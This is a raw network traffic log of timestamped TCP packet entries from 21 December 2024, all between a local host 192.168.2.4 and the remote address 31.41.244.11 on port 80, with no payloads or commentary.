Dec 21, 2024 18:16:46.041373968 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.043040991 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.043209076 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.147799015 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.147877932 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.147876024 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.147957087 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.148475885 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.148524046 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.148659945 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.148704052 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.150054932 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.150109053 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.150687933 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.150738955 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.150810957 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.150851965 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.152265072 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.152312040 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.152355909 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.152411938 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.153805971 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.153934002 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.153983116 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.155520916 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.155538082 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.155574083 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.155589104 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.156975985 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.157028913 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.157156944 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.157207966 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.158349991 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.158405066 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.158474922 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.158516884 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.159845114 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.159895897 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.159974098 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.160022974 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.161312103 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.161365986 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.161488056 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.161546946 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.162765980 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.162818909 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.162897110 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.163302898 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.164185047 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.164233923 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.164289951 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.164336920 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.165615082 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.165674925 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.165692091 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.166171074 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.167005062 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.167073965 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.167143106 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.168186903 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.168395042 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.168441057 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.168524981 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.168567896 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.169753075 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.169807911 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.169887066 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.169938087 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.171154976 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.171217918 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.171281099 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.171327114 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.172544003 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.172642946 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.172708988 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.172750950 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.173979044 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.174072027 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.174137115 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.175379038 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.175448895 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.175565958 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.175617933 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.176734924 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.176804066 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.176863909 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.177637100 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.178170919 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.178225040 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.178312063 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.178354025 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.179514885 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.179575920 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.179635048 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.179712057 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.180938005 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.180990934 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.181062937 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.181107998 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.182315111 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.182352066 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.182367086 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.182488918 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.183834076 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.183912039 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.184056997 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.184123039 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.185106039 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.185242891 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.185247898 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.186343908 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.186486959 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.186605930 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.186661959 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.187901974 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.187964916 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.188014030 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.188095093 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.189294100 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.189414978 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.189470053 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.190690994 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.190809965 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.190861940 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.192120075 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.192194939 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.192208052 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.192303896 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.193470955 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.193610907 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.193684101 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.194870949 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.194986105 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.195044041 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.196281910 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.196346045 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.196407080 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.196474075 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.197662115 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.197876930 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.197932959 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.199048996 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.199193954 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.199250937 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.200445890 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.200501919 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.200572968 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.200702906 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.201872110 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.201931000 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.202023983 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.202076912 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.203258038 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.203310013 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.203417063 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.203470945 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.204689980 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.204786062 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.204835892 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.204889059 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.206057072 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.206115961 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.206165075 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.206232071 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.207431078 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.207577944 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.207588911 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.207675934 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.208808899 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.208937883 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.208941936 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.210227966 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.210287094 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.210356951 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.210505009 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.211889029 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.211957932 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.212011099 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.212066889 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.213124990 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.213181973 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.213251114 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.213310003 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.214576006 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.214632034 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.214696884 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.214806080 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.215894938 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.215955973 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.216051102 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.216114044 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.217293978 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.217358112 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.217406988 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.217518091 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.218635082 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.218697071 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.218734980 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.219337940 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.339762926 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.339811087 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.339835882 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.339910984 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.340358019 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.340425014 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.340517998 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.340573072 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.341543913 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.341595888 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.341650963 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.341706991 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.342844009 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.342902899 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.342942953 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.342998028 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.343919992 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.343975067 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.344024897 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.344080925 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.345443964 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.345500946 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.345504045 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.345549107 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.346405983 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.346517086 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.346518040 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.346575975 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.347512007 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.347657919 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.347718954 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.348692894 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.348965883 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.349020004 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.349890947 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.350006104 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.350061893 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.351192951 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.351246119 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.351294041 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.351352930 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.352289915 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.352339983 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.352471113 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.352549076 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.353485107 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.353538036 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.353580952 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.353631020 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.354656935 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.354711056 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.354804993 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.354897976 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.355866909 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.356029987 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.356085062 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.357069969 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.357122898 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.357202053 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.357253075 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.358283997 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.358392000 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.358405113 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.358460903 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.359494925 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.359556913 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.359642029 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.359695911 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.360706091 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.360761881 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.360801935 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.360851049 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.361900091 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.361960888 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.362029076 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.362158060 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.363070965 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.363123894 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.363202095 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.363270044 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.364279985 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.364337921 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.364393950 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.364444971 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.365482092 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.365592003 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.365633965 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.365685940 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.366667032 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.366723061 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.366745949 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.366940022 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.367868900 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.367923021 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.368000031 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.368055105 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.369055986 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.369107962 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.369168997 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.369220018 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.370265961 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.370320082 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.370412111 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.370462894 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.371447086 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.371498108 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.371633053 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.371684074 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.372668982 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.372747898 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.372750044 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.372801065 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.373864889 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.373920918 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.374003887 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.374063015 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.375047922 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.375442982 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.375520945 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.376259089 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.376357079 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.376431942 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.377429962 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.377568007 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.377634048 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.378618956 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.378688097 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.378751040 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.379842997 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.379924059 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.380009890 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.380973101 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.381047010 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.381108046 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.381190062 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.381244898 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.382215977 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.382426977 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.382484913 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:46.383423090 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:46.383500099 CET	80	49866	31.41.244.11	192.168.2.4
